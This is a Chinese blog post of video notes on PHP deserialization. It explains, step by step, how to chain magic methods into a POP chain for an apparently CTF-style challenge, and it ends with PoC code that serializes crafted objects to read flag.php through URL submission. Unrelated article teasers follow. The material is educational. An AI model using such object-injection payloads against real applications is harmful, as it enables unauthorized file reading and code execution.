构造pop链

反序列化视频笔记

第一步:找到目标触发echo调用$flag

第二步:触发_invoke函数调用appeng函数$var=flag.php(把对象当成函数)

第三步:给$p赋值为对象,即function成为对象Modifier却被当成函数调用,触发Modifier中的_invoke函数

第四步:触发get(调用不存在的成员属性)

第五步:给$str赋值为对象Test中不存在的成员属性source,则可触发Test里的成员方法get

第六步:触发_tostring(把对象当成字符串)

第七步:给source赋值为对象show,当字符串被echo调用触发_tostring

第八步:反序列化触发_wakeup。

所以构造poc、

私有属性$var只能在里面构造$var=flag.php

$mod=new modifier();

$tes=new test();

$tes ->p=$mod;

$show =new show();

$show -> source=$show;

$show ->str=$tes;

echo serialize($show);

记得私有属性的方块要变成%00

url提交

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/503729.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

c++_leetcode_寻找峰值

目录 一、寻找峰值的示例 二、官方实现代码及解释 1、官方测试结果: 2、代码解释: 3、解题思路: 三、我的暴力解决 1、测试一: 2、测试二: 3、最终“暴力求解”代码: 4、官网提交测试通过&#xf…

《无线网络技术》考试版笔记

第一章 无线网络介绍 什么是多径效应,如何去克服: 在发射机和接收机之间没有明显的直线路径时,就会产生多径传播。如果两个信号彼此叠加,那么接收设备就无法正确解调信号,无法还原为它的原始数据形式。 可以稍微调整接…

实战分享:Tomcat打破双亲委派模型,实现Web应用独立与安全隔离的奥秘

目录 一、JVM 类加载机制 二、Tomcat 类加载器 2.2 findClass 介绍 3.2 loadClass 介绍 三、web应用隔离 3.1 Spring 加载问题 在开始文章内容之前,先来看三个问题 假如在 Tomcat 上运行了两个 Web 应用程序,两个 web 应用中有同名的Servlet&#xf…

腾讯云「2024新春采购节」满额返券,最高返5000元代金券

满额返券 在新春采购节活动上消费满满1万元可返500元代金券、满3万元可返1500元代金券、满6万元可返3000元代金券、满10万元可返5000元代金券,如下图: 腾讯云满额返券 以上是腾讯云百科分享的腾讯云2024年新春采购节优惠活动,更多云服务器详…

Redis的主从搭建

1.准备两台机器&#xff0c;安装好redis 2.修改从服务器的redis配置 slaveof <masterip> <masterport>两个参数 masterip 主的ip 主的端口号 masterport 3. 启动redis 1.先启动主机redis 2.再启用从机redis 主机redis日志打印 从机redis 日志打印

HTML教程(3)——常用标签(1)

一、图片标签 1.场景&#xff1a;在网页中显示图片 2.基本写法&#xff1a; <img src""> 3.特点&#xff1a;单标签&#xff0c;img标签需要展示对应的效果&#xff0c;需要借助其属性进行设置 4常用属性&#xff1a; src&#xff1a;其属性值为目标图片…

Linux系统编程7--线程 写个测试脚本

Linux系统编程7–线程_写个测试脚本 参考博客&#xff1a; Linux多线程编程初探 - 峰子_仰望阳光 - 博客园 (cnblogs.com) 我的PC是8核*16进程&#xff0c;所以在固定的时间点&#xff0c;我可以同时运行8 * 16的进程&#xff0c;更多的线程&#xff08;任务管理器&#xff09;…

大数据和机器学习在气象预报中的应用-张平文院士

报告链接&#xff1a;张平文院士 -- 大数据和机器学习在气象预报中的应用_哔哩哔哩_bilibili

MATLAB R2022b 安装教程

MATLAB R2022b 安装教程 MathWorks 于2022年9月发布了 MATLAB 和 Simulink 产品系列的最新版本 Matlab R2022b版本 &#xff0c;加入两个新产品&#xff1a; Medical Imaging Toolbox — 可视化、配准、分割和标注二维及三维医学图像Simscape Battery — 设计和仿真电池和储能系…

ceph性能测试

查看集群状态 ceph -s查看osd情况 ceph osd tree创建pg_num为60的pool&#xff0c;名为test。 ceph osd pool create test 60rados bench用于测试rados存储池底层性能&#xff0c;该工具可以测试写、顺序读、随机读三种类型 rados bench -p <pool_name> <seconds&…

Linux网络编程——网络基础

Linux网络编程——网络基础 1. 网络结构模式1.1 C/S 结构1.2 B/S 结构 2. MAC 地址3. IP地址3.1 简介3.2 IP 地址编址方式 4. 端口4.1 简介4.2 端口类型 5. 网络模型5.1 OSI 七层参考模型5.2 TCP/IP 四层模型 6. 协议6.1 简介6.2 常见协议6.3 UDP 协议6.4 TCP 协议6.5 IP 协议6…

Linux中的动静态库

目录 一、静态库 &#xff08;1&#xff09;静态库的优缺点&#xff1a; &#xff08;2&#xff09;Linux下静态库的创建和执行 1.直接编译​编辑 2.指定路径和库名 3.用LIBRARY_PATH环境变量来配置路径 二、动态库 &#xff08;1&#xff09;动态库的优缺点 &#xff…